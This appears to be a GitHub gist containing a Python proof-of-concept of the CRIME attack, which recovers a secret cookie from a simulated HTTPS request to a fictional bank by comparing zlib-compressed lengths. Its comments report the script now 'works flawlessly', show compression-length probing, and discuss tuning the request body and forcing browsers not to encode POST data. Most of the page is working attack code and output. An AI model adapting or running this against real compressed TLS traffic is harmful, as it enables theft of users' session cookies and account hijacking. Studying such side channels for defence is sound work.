public
Last active

It's not a crime to build a CRIME

  • Download Gist
crime.py
Python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
# This is supposedly what CRIME by Juliano Rizzo and Thai Duong will do
# Algorithm by Thomas Pornin, coding by xorninja, improved by @kkotowicz
# http://security.blogoverflow.com/2012/09/how-can-you-protect-yourself-from-crime-beasts-successor/
 
import string
import zlib
import sys
import random
 
charset = string.letters + string.digits + "%/+="
 
COOKIE = ''.join(random.choice(charset) for x in range(30))
 
HEADERS = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret=" + COOKIE + "\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"\r\n")
 
BODY = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Cookie: secret="
)
 
BODY_SUFFIX=("\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"\r\n")
 
cookie = ""
 
def compress(data):
 
c = zlib.compressobj()
return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
 
def findnext(b,bs,charset):
#print "body len",len(b)
baselen = len(compress(HEADERS +
b +
bs))
 
possible_chars = []
for c in charset:
length = len(compress(HEADERS +
b +
c +
bs))
 
#print repr(c), length, baselen
 
if length <= baselen:
possible_chars.append(c)
 
#print '=', possible_chars
return possible_chars
 
def exit():
print "Original cookie: %s" % COOKIE
print "Leaked cookie : %s" % cookie
sys.exit(1)
 
def forward():
global cookie
while len(cookie) < len(COOKIE):
chop = 1
possible_chars = findnext(BODY + cookie, "", charset)
body_tmp = BODY
orig = possible_chars
while not len(possible_chars) == 1:
if len(body_tmp) < chop:
#print "stuck at", possible_chars
return False
 
body_tmp = body_tmp[chop:]
possible_chars = findnext(body_tmp + cookie, "", orig)
 
cookie = cookie + possible_chars[0]
return True
 
while BODY.find("\r\n") >= 0:
if not forward():
cookie = cookie[:-1]
if len(cookie) >= len(COOKIE):
exit()
print "reducing body"
BODY = BODY[BODY.find("\r\n") + 2:]
 
exit()

It DOES need improvement, currently it mostly detects the beginning of the cookie (~10 chars)

Now it works completely

Now it works flawlessly, though it's probably very inefficient.

There is no need for (guessing and) adding a whole POST into the body. This works quite nice:

>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=C"))
289
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=X"))
288
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=XS"))
288
>>> len(zlib.compress("POST / HTTP/1.1\nHost: thebankserver.com\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\nAccept: */*\nCookie: secret=XS8b1MWZ0QEKJtM1t+QCofRpCsT2u\nAccept-Encoding: gzip,deflate,sdch\nAccept-Language: en-US,en;q=0.8\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\nCookie: secret=XU"))
289

xorninja here. one question: why do you repeat the headers in HEADERS and BODY, then compress them twice?

def findnext(b,bs,charset):
#print "body len",len(b)
baselen = len(compress(HEADERS +
b +
bs))

possible_chars = findnext(BODY + cookie, "", charset)

Ah I got it. One question: does the browsers do any encoding on the POST body?

Ah it seems that you can force the browser not to do any kind of encoding. Very nice!

@stamparm - I started with the shorter body, but practice shows that it rarely gave away full cookie. With longer body it's working much much better.

@koto : hello, could you tell me what do you mean when you say "with longer body it's working much much better"

I don't quite see what I should modify in this source code :/

Thank you

Please sign in to comment on this gist.

Something went wrong with that request. Please try again.